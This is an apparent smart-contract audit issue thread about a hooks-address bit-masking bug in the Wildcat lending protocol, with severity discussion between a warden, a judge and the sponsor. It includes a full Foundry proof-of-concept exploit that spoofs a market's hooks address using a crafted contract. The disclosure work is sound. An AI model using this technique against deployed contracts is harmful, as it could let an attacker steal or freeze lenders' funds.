Open howlbot-integration[bot] opened 2 months ago
3docSec changed the severity to QA (Quality Assurance)
3docSec marked the issue as grade-c
@3docSec, thank you for your judgment and marking this as a duplicate of issue #3. In that report, the warden only mentioned that it affects cases where setHookAddress
is called a second time. According to the sponsor's comment, there is no functionality allowing this function to be called twice. However, both the warden and sponsor overlooked that report and forgot about the hookFactory.deployMarketAndHooks
function relies on user input from DeployMarketInputs.parameters.hooks
which can be non-zero. A malicious user could easily deploy and register a wildcat market with a malicious hook via the hook factory. I already mentioned this in the impact section of my report. This would allow a borrower to easily tamper the whole wildcat market, as the sponsor mentioned in issue #3.
Full POC:
Copy below code into test
folder
runs : forge test --mt test_deployMarketWithMaliciousHooks -vvvv
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console2} from "forge-std/Test.sol";
import "src/types/HooksConfig.sol";
import "src/WildcatArchController.sol";
import "src/HooksFactory.sol";
import "src/libraries/LibStoredInitCode.sol";
import {MockERC20, ERC20} from "solmate/test/utils/mocks/MockERC20.sol";
import "src/market/WildcatMarket.sol";
import "./shared/mocks/MockHooks.sol";
contract HookExpliotContract {
struct DeployMarketInputs {
address asset;
string namePrefix;
string symbolPrefix;
uint128 maxTotalSupply;
uint16 annualInterestBips;
uint16 delinquencyFeeBips;
uint32 withdrawalBatchDuration;
uint16 reserveRatioBips;
uint32 delinquencyGracePeriod;
uint256 hooks;
}
function onCreateMarket(address, address, DeployMarketInputs calldata, bytes calldata) public returns (bytes32) {
return bytes32(abi.encodePacked(address(0xABCD), uint96(0)));
}
}
contract TestH1 is Test {
WildcatArchController archController;
IHooksFactory hooksFactory;
address hooksTemplate;
address internal constant nullAddress = address(0);
MockERC20 internal feeToken = new MockERC20("Token", "TKN", 18);
MockERC20 internal underlying = new MockERC20("Market", "MKT", 18);
address internal constant sanctionsSentinel = address(1);
function _storeMarketInitCode() internal virtual returns (address initCodeStorage, uint256 initCodeHash) {
bytes memory marketInitCode = type(WildcatMarket).creationCode;
initCodeHash = uint256(keccak256(marketInitCode));
initCodeStorage = LibStoredInitCode.deployInitCode(marketInitCode);
}
function setUp() public {
archController = new WildcatArchController();
(address marketTemplate, uint256 marketInitCodeHash) = _storeMarketInitCode();
hooksFactory = new HooksFactory(address(archController), sanctionsSentinel, marketTemplate, marketInitCodeHash);
hooksTemplate = LibStoredInitCode.deployInitCode(type(MockHooks).creationCode);
archController.registerControllerFactory(address(hooksFactory));
hooksFactory.registerWithArchController();
assertEq(hooksFactory.archController(), address(archController));
}
// Copied from https://github.com/Vectorized/solady/blob/main/src/utils/LibRLP.sol
function computeAddress(address deployer, uint256 nonce) internal pure returns (address deployed) {
/// @solidity memory-safe-assembly
assembly {
for {} 1 {} {
// The integer zero is treated as an empty byte string,
// and as a result it only has a length prefix, 0x80,
// computed via `0x80 + 0`.
// A one-byte integer in the [0x00, 0x7f] range uses its
// own value as a length prefix,
// there is no additional `0x80 + length` prefix that precedes it.
if iszero(gt(nonce, 0x7f)) {
mstore(0x00, deployer)
// Using `mstore8` instead of `or` naturally cleans
// any dirty upper bits of `deployer`.
mstore8(0x0b, 0x94)
mstore8(0x0a, 0xd6)
// `shl` 7 is equivalent to multiplying by 0x80.
mstore8(0x20, or(shl(7, iszero(nonce)), nonce))
deployed := keccak256(0x0a, 0x17)
break
}
let i := 8
// Just use a loop to generalize all the way with minimal bytecode size.
for {} shr(i, nonce) { i := add(i, 8) } {}
// `shr` 3 is equivalent to dividing by 8.
i := shr(3, i)
// Store in descending slot sequence to overlap the values correctly.
mstore(i, nonce)
mstore(0x00, shl(8, deployer))
mstore8(0x1f, add(0x80, i))
mstore8(0x0a, 0x94)
mstore8(0x09, add(0xd6, i))
deployed := keccak256(0x09, add(0x17, i))
break
}
}
}
function test_deployMarketWithMaliciousHooks() public {
hooksFactory.addHooksTemplate(hooksTemplate, "template", address(0), address(0), 0, 0);
archController.registerBorrower(address(this));
bytes memory constructorArgs = "";
bytes memory createMarketHooksData = "o hey this is my createMarketHooksData do u like it";
HooksConfig maliciousHook =
encodeHooksConfig(address(0xff), true, true, true, true, true, true, true, true, true, true, true);
DeployMarketInputs memory parameters = DeployMarketInputs({
asset: address(underlying),
namePrefix: "name",
symbolPrefix: "symbol",
maxTotalSupply: type(uint128).max,
annualInterestBips: 0,
delinquencyFeeBips: 0,
withdrawalBatchDuration: 0,
reserveRatioBips: 0,
delinquencyGracePeriod: 0,
hooks: maliciousHook
});
// set nonce of hooksFactory for a address calculation
vm.setNonce(address(hooksFactory), 100);
// Calculate factory hookInstance address (create method)
address deployedHookInstance = address(computeAddress(address(hooksFactory), 100));
address hookExpliotContract;
// clean hook Address
assembly {
deployedHookInstance := shr(96, shl(96, deployedHookInstance))
hookExpliotContract := or(deployedHookInstance, 0xff)
}
// Assume: Attacker already Deploy contract at address = deployHookInstance | 0xff
vm.etch(address(hookExpliotContract), type(HookExpliotContract).runtimeCode);
(address market0, address hooksInstance0) =
hooksFactory.deployMarketAndHooks(hooksTemplate, "", parameters, "", bytes32(uint256(15646)), address(0), 0);
// @audit Deployed market points hooks with malicious hooks data
assertEq(LibHooksConfig.hooksAddress(WildcatMarket(market0).hooks()), address(0xABCD));
// register hookInstance with factory
assertEq(hooksFactory.getHooksTemplateForInstance(hooksInstance0), hooksTemplate);
}
}
I think like with #3 the severity is inflated for two reasons:
I do appreciate the finding though, this was definitely a mistake.
I think like with #3 the severity is inflated for two reasons:
- Borrowers have to be whitelisted to deploy a market or hooks instance
I agree that borrowers need to be whitelisted, but wildcat markets operate based on borrowers. If no borrowers are willing to borrow funds, the wildcat market would halt. Therefore, from the protocol’s perspective, it will aim to whitelist as many borrowers as possible.
- To exploit this you'd need to deploy a contract with 96 matching bits -- not completely impossible but also not very realistic
I agree with this, but once someone manages to exploit it, regular users won’t have a way to know whether the deployed market is a trusted implementation or not.
Currently, if someone wants to verify a deployed hook instance, the flow is as follows:
WildcatMarket(market0).hooks()
and extract the upper 160 bits to get the hook
.HooksFactory.getHooksTemplateForInstance(hook)
.This returns the implementation of the given hook, but due to the deployMarketAndHooks
flow, it completely spoofs the HooksFactory.getHooksTemplateForInstance
mapping. As a result, there is no guarantee that it will return the correct hook template for a particular instance.
Therefore, users must rely on manually verifying the exact bytecode for specific hooks.
I believe the severity should be high because there is a clear path to steal or freeze all lender funds through the hooks. This is critical since the hook instance is responsible for verifying all actions when users deposit or withdraw from the market.
While I would normally agree with you on a different protocol, we have to contextualize this statement:
regular users won’t have a way to know whether the deployed market is a trusted implementation or not
For Wildcat we have to remember that the borrower is considered a trusted entity (because of the undercollateralized nature of the protocol), so their actions are too as a consequence.
So I agree there are nuances of this finding that are different from #3, but we still are in QA territory
3docSec marked the issue as grade-b
Lines of code
https://github.com/code-423n4/2024-08-wildcat/blob/main/src/types/HooksConfig.sol#L84-L94
Vulnerability details
Description: Currently, the wildcat protocol is using
HooksConfig
for deploying markets, which is responsible for enabling various features in a particular market.The current
HookConfig
encoding is as follows:The
LibHooksConfig.setHooksAddress()
function is responsible for updating the newhookAddress
in thehookConfig
, but it is only clearing the leftmost96 bits
instead of160 bits
.Impact:
hookFactory.deployMarketAndHooks
, which has a non-zero address inDeployMarketInputs.parameters.hooks
.Proof of Concept (PoC):
Recommendation:
Assessed type
Error